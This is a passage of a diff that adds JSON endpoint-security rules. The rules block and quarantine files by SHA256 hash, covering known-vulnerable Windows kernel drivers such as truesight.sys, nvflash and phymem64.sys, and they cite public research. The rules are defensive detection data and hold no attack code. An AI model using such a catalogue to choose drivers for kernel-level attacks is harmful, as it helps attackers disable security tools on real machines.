+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808649Z",
+  "creation_date": "2026-03-23T11:45:31.808651Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808657Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c78e4e21776fb14f43641e98a50624497de8039dc22b9514755e3e681a34d4ff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "10955731-1fa3-507e-8f4a-1ffe5d6743c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497836Z",
+  "creation_date": "2026-03-23T11:45:31.497839Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497845Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a595e1034665a108a7a7cba263709401d82477aa68187fd6ef3927b4acc2cd07",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "10a94906-b49b-542c-b1fa-5dd4e042da16",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142850Z",
+  "creation_date": "2026-03-23T11:45:32.142852Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142857Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f8c07b6e2066a5a22a92d9f521ecdeb8c68698c400e4b83e0501b9f340957c22",
+  "comment": "Vulnerable Filseclab Driver (aka fildds.sys, filnk.sys and filwfp.sys) [https://twitter.com/SophosXOps/status/1764933865574207677] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "10b1048a-092a-5594-9a4c-6cfcec02a266",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476107Z",
+  "creation_date": "2026-03-23T11:45:30.476116Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476125Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "66a20fc2658c70facd420f5437a73fa07a5175998e569255cfb16c2f14c5e796",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "10b3fc3b-bae4-5fec-912e-cdc37b554272",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157456Z",
+  "creation_date": "2026-03-23T11:45:31.157458Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157464Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c18f564bcbee4723514580fd7741e1883ffbf2e37e9f5b2da5a79033305aaa13",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "10b86956-0b58-55aa-862f-a070e96542d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809289Z",
+  "creation_date": "2026-03-23T11:45:31.809292Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809301Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e72867adaa4a79dd8d332b3d2e0bf705b76af7c5e8505167c23aa41bac7ce1bb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "10db64ef-0c56-54f1-ad29-0ed1f3cfde0d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146058Z",
+  "creation_date": "2026-03-23T11:45:31.146060Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146066Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f91769cd61784914bde779fe4cd7520d7e76523bafb9d06cc78d0346bbfaec14",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "10ddbeb4-ab0c-5847-bb45-ecda226931f3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480817Z",
+  "creation_date": "2026-03-23T11:45:31.480821Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480828Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ded1bffeb296f566935ea030bf2d02f7d530f01c7a0774383385a5dc3ebf2698",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "10e3b176-0cb0-5000-a3de-38d2bfd04722",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477420Z",
+  "creation_date": "2026-03-23T11:45:31.477424Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477433Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c1a547472666006fc7a0439a37ccd7b5fce11818460ebcc42b57649e523433c1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "10f1af51-06f9-5b96-9ab0-b6578fb9d5ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618322Z",
+  "creation_date": "2026-03-23T11:45:29.618324Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618329Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e2d6cdc3d8960a50d9f292bb337b3235956a61e4e8b16cf158cb979b777f42aa",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "10f449c9-caa2-5655-83b9-f7627e07ff04",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972664Z",
+  "creation_date": "2026-03-23T11:45:29.972666Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972671Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "54e969dc477af9a3e5b53dc4edaebc41a7b73c87ecca13dc1fbb8dfc86c0fd78",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "10f5c81d-f3e1-56d3-a12d-8948caf2974b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812945Z",
+  "creation_date": "2026-03-23T11:45:31.812955Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812963Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd68e81f338b91c2381dcd1e37f4c4e5649acad687608d9dbc1fa8fe24c346b8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "110574b3-e699-5994-b4ac-07b492b2a088",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983193Z",
+  "creation_date": "2026-03-23T11:45:29.983195Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983201Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "708016fbe22c813a251098f8f992b177b476bd1bbc48c2ed4a122ff74910a965",
+  "comment": "Vulnerable Kernel Driver (aka b3.sys) [https://www.loldrivers.io/drivers/adfb015a-f453-4b9e-a247-50f146209eb0/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "110d6a55-ff1e-5067-bd87-3d6e9647f0b4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813777Z",
+  "creation_date": "2026-03-23T11:45:31.813781Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813790Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ef5103072db29437d68eb24998bdc7b15533d2fe8108929acb1dff805c91a7a0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "11143612-92a8-507a-a673-9e78fb38ea0a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160322Z",
+  "creation_date": "2026-03-23T11:45:31.160324Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160332Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "97cadcc0170ca3d521d2018628050caab2f27ef2f181180c74c2ab25277941ee",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "11145577-5d08-5c7d-a685-2862d84bc823",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619194Z",
+  "creation_date": "2026-03-23T11:45:29.619196Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619202Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1963d5a0e512b72353953aadbe694f73a9a576f0241a988378fa40bf574eda52",
+  "comment": "Super Micro Computer physmem tool (aka phymem64.sys)",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "111af200-3ecc-5a57-9ad3-f4177ce37d4d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833838Z",
+  "creation_date": "2026-03-23T11:45:30.833841Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833850Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6236bddd0fa696e9364fac7f0fa5ae38e9c76adf6d6fc504f8f8aae6d7ae03f2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "111fd345-cb8a-5920-b1fa-fa050c873e28",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159330Z",
+  "creation_date": "2026-03-23T11:45:31.159332Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159337Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4594fa9bf1a89b5542345f20ac7dac79fd1afa4cc6ff494fe9249973ec9d0c8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "113a3840-45cf-539c-93a5-a5b4544cb9c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498010Z",
+  "creation_date": "2026-03-23T11:45:31.498013Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498021Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "84425276857168c194eba0c8cd74ff58ddf229bea91fb0392ae66a452c0e79e7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "113caa7c-92cc-52a4-938c-11c59c12a02d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826764Z",
+  "creation_date": "2026-03-23T11:45:30.826767Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826772Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "98d8b701a2a49ad621ea9ef4f4776ffab02570a4df4f9cc9f3ce14a307fe7939",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "116068d4-af1f-53c9-abe9-0c680455dca4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156638Z",
+  "creation_date": "2026-03-23T11:45:31.156639Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156645Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "76219892d1b31c3be29dc56b66a296de68da0019e636aaae64fce74401d0a924",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "11756f25-3436-56b1-81b3-e763ab782bc6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812472Z",
+  "creation_date": "2026-03-23T11:45:31.812474Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812480Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e5cbf39a275265519ae5f8260f031f9e5a3a2f1eae333742ed49f0cc61a5e60a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "11793f33-ef97-518d-a6df-c8ccfc0c5f06",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824042Z",
+  "creation_date": "2026-03-23T11:45:30.824045Z",
+  "enabled": true,
